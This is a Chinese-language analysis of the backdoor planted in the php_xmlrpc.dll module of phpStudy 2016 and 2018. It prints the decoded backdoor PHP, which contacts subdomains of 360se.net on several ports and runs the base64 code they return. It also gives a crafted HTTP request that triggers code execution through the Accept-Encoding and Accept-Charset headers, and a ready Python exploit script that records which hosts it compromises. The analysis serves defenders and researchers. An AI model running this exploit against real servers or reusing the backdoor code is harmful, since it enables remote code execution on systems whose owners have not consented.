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Phpstudy 后门(非官方后门!!!)

一、漏洞简介

二、漏洞影响

Phpstudy 2016

php\php-5.2.17\ext\php_xmlrpc.dll
php\php-5.4.45\ext\php_xmlrpc.dll

Phpstudy 2018 的php-5.2.17、php-5.4.45

PHPTutorial\php\php-5.2.17\ext\php_xmlrpc.dll
PHPTutorial\php\php-5.4.45\ext\php_xmlrpc.dll

三、复现过程

分析过程

  • 1、定位特征字符串位置
  • 2、静态分析传参数据
  • 3、动态调试构造传参内容

php_xmlrpc.dll

PHPstudy 2018与2016两个版本的里的PHP5.2与PHP5.4版本里的恶意php_xmlrpc.dll一致。

定位特征字符串位置

根据\@eval()这个代码执行函数定位到引用位置。\@是PHP提供的错误信息屏蔽专用符号。Eval()可执行php代码,中间%s格式符为字符串传参。函数地址为:0x100031F0

1.jpg

图1:eval特征代码

静态分析传参数据

通过F5查看代码,分析代码流程,判断条件是有全局变量且有HTTP_ACCEPT_ENCODING的时候进入内部语句。接下来有两个主要判断来做正向连接和反向连接的操作。主要有两个部分。

第一部分,正向连接:判断ACCEPT_ENCODING如果等于gzip,deflate,读取ACCEPT_CHARSE的内容做base64解密,交给zend_eval_strings()函数可以执行任意恶意代码。

构造HTTP头,把Accept-Encoding改成Accept-Encoding: gzip,deflate可以触发第一个部分。

GET /index.php HTTP/1.1
Host: www.0-sec.org
…..
Accept-Encoding: gzip,deflate
Accept-Charset:cHJpbnRmKG1kNSgzMzMpKTs=
….

第二部分,反向连接:判断ACCEPT_ENCODING如果等于compress,gzip,通过关键部分\@eval(gzuncompress(\'%s\'));可以看到拼接了一段恶意代码,然后调用gzuncompress方法执行解密。

构造HTTP头,把Accept-Encoding改成Accept-Encoding: compress,gzip可以触发第二部分。

GET /index.php HTTP/1.1
Host: www.0-sec.org
…..
Accept-Encoding:compress,gzip
….

2.jpg

图2:第1部分流程判断代码

3.jpg

图3:第2部分流程判断代码

这一部分有两处会执行zend_eval_strings函数代码的位置。分别是从1000D66C到1000E5C4的代码解密:

@ini_set("display_errors","0");
error_reporting(0);
function tcpGet($sendMsg = '', $ip = '360se.net', $port = '20123'){
    $result = "";
  $handle = stream_socket_client("tcp://{$ip}:{$port}", $errno, $errstr,10); 
  if( !$handle ){
    $handle = fsockopen($ip, intval($port), $errno, $errstr, 5);
    if( !$handle ){
        return "err";
    }
  }
  fwrite($handle, $sendMsg."\n");
    while(!feof($handle)){
        stream_set_timeout($handle, 2);
        $result .= fread($handle, 1024);
        $info = stream_get_meta_data($handle);
        if ($info['timed_out']) {
          break;
        }
     }
  fclose($handle); 
  return $result; 
}

$ds = array("www","bbs","cms","down","up","file","ftp");
$ps = array("20123","40125","8080","80","53");
$n = false;
do {
    $n = false;
    foreach ($ds as $d){
        $b = false;
        foreach ($ps as $p){
            $result = tcpGet($i,$d.".360se.net",$p); 
            if ($result != "err"){
                $b =true;
                break;
            }
        }
        if ($b)break;
    }
    $info = explode("<^>",$result);
    if (count($info)==4){
        if (strpos($info[3],"/*Onemore*/") !== false){
            $info[3] = str_replace("/*Onemore*/","",$info[3]);
            $n=true;
        }
        @eval(base64_decode($info[3]));
    }
}while($n);

4.jpg

从1000D028 到1000D66C的代码解密:

@ini_set("display_errors","0");
error_reporting(0);
$h = $_SERVER['HTTP_HOST'];
$p = $_SERVER['SERVER_PORT'];
$fp = fsockopen($h, $p, $errno, $errstr, 5);
if (!$fp) {
} else {
    $out = "GET {$_SERVER['SCRIPT_NAME']} HTTP/1.1\r\n";
    $out .= "Host: {$h}\r\n";
    $out .= "Accept-Encoding: compress,gzip\r\n";
    $out .= "Connection: Close\r\n\r\n";

    fwrite($fp, $out);
    fclose($fp);
}

5.jpg

动态调试构造传参内容

OD动态调试传参值需要对httpd.exe进程进行附加调试,phpstudy启用的httpd进程有两个。一个是带有参数的,一个是没有带参数的。在下断的时候选择没有参数的httpd.exe下断才能触发后门。

根据前面IDA静态分析得到的后门函数地址,OD附加进程后从httpd.exe调用的模块里找到php_xmlrpc.dll模块,在DLL空间里定位后门函数地址0x100031F0,可能还需要手动修改偏移后下断点。使用burpsuite,构造Accept-Encoding的内容。发包后可以动态调试。建立触发点的虚拟机快照后可以反复跟踪调试得到最终可利用的payload。

6.jpg

图4:OD动态调试Payload

PHP脚本后门分析

脚本一功能:使用fsockopen模拟GET发包

@ini_set("display_errors","0");
error_reporting(0);
$h = $_SERVER['HTTP_HOST'];
$p = $_SERVER['SERVER_PORT'];
$fp = fsockopen($h, $p, $errno, $errstr, 5);
if (!$fp) {
} else {
    $out = "GET {$_SERVER['SCRIPT_NAME']} HTTP/1.1\r\n";
    $out .= "Host: {$h}\r\n";
    $out .= "Accept-Encoding: compress,gzip\r\n";
    $out .= "Connection: Close\r\n\r\n";

    fwrite($fp, $out);
    fclose($fp);
}

脚本二功能:内置有域名表和端口表,批量遍历然后发送数据。注释如下:

<?php
@ini_set("display_errors","0");
error_reporting(0);
function tcpGet($sendMsg = '', $ip = '360se.net', $port = '20123'){
    $result = "";
    $handle = stream_socket_client("tcp://{$ip}:{$port}", $errno, $errstr,10);  // 接收数据每次过来一条数据就要连接一次
      if( !$handle ){
        $handle = fsockopen($ip, intval($port), $errno, $errstr, 5);  //错误的时候就重连一次测试
        if( !$handle ){
            return "err";
        }
    }
    fwrite($handle, $sendMsg."\n");         // 模拟发送数据
    while(!feof($handle)){
        stream_set_timeout($handle, 2);
        $result .= fread($handle, 1024);   // 读取文件
        $info = stream_get_meta_data($handle);     // 超时则退出
        if ($info['timed_out']) {
            break;
        }
    }
    fclose($handle);
    return $result;
}

$ds = array("www","bbs","cms","down","up","file","ftp");   // 域名表
$ps = array("20123","40125","8080","80","53");             // 端口表
$n = false;
do {
    $n = false;
    foreach ($ds as $d){                                   //遍历域名表
        $b = false;
        foreach ($ps as $p){                               // 遍历端口表
            $result = tcpGet($i,$d.".360se.net",$p);
            if ($result != "err"){
                $b =true;
                break;
            }
        }
        if ($b)break;
    }
    $info = explode("<^>",$result);
    if (count($info)==4){
        if (strpos($info[3],"/*Onemore*/") !== false){
            $info[3] = str_replace("/*Onemore*/","",$info[3]);
            $n=true;
        }
        @eval(base64_decode($info[3]));
    }
}while($n);

?>

POC

熟悉原理后可根据执行流程构造执行任意代码的Payload:

GET /index.php HTTP/1.1
Host: www.0-sec.org
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.132 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Accept-Encoding:gzip,deflate
Accept-Charset:cHJpbnRmKG1kNSgzMzMpKTs=
Content-Length: 0
Accept-Language: zh-CN,zh;q=0.9
Connection: close

Payload:printf(md5(333));

回显特征:310dcbbf4cce62f762a2aaa148d556bd

7.jpg

图5:Payload回显验证

exp

#!/usr/bin/env python3
#-*- encoding:utf-8 -*-
# 卿 博客:https://www.cnblogs.com/-qing-/

import base64
import requests
import threading
import queue


print("======Phpstudy Backdoor Exploit============\n")
print("===========By  Qing=================\n")
print("=====Blog:https://www.cnblogs.com/-qing-/==\n")
payload = "echo \"qing\";"
payload = base64.b64encode(payload.encode('utf-8'))
payload = str(payload, 'utf-8')
headers = {
    'Upgrade-Insecure-Requests': '1',
    'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36',
    'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3',
    'Accept-Language': 'zh-CN,zh;q=0.9',
    'accept-charset': payload,
    'Accept-Encoding': 'gzip,deflate',
    'Connection': 'close',
}



def write_shell(url,headers):
    try:
        r = requests.get(url=url+'/index.php', headers=headers, verify=False,timeout=30)
        if "qing" in r.text:
            print ('[ + ] BackDoor successful: '+url+'===============[ + ]\n')
            with open('success.txt','a') as f:
                    f.write(url+'\n')
        else:
            print ('[ - ] BackDoor failed: '+url+'[ - ]\n')
    except:
        print ('[ - ] Timeout: '+url+' [ - ]\n')

url = "http://xxx"
write_shell(url=url,headers=headers)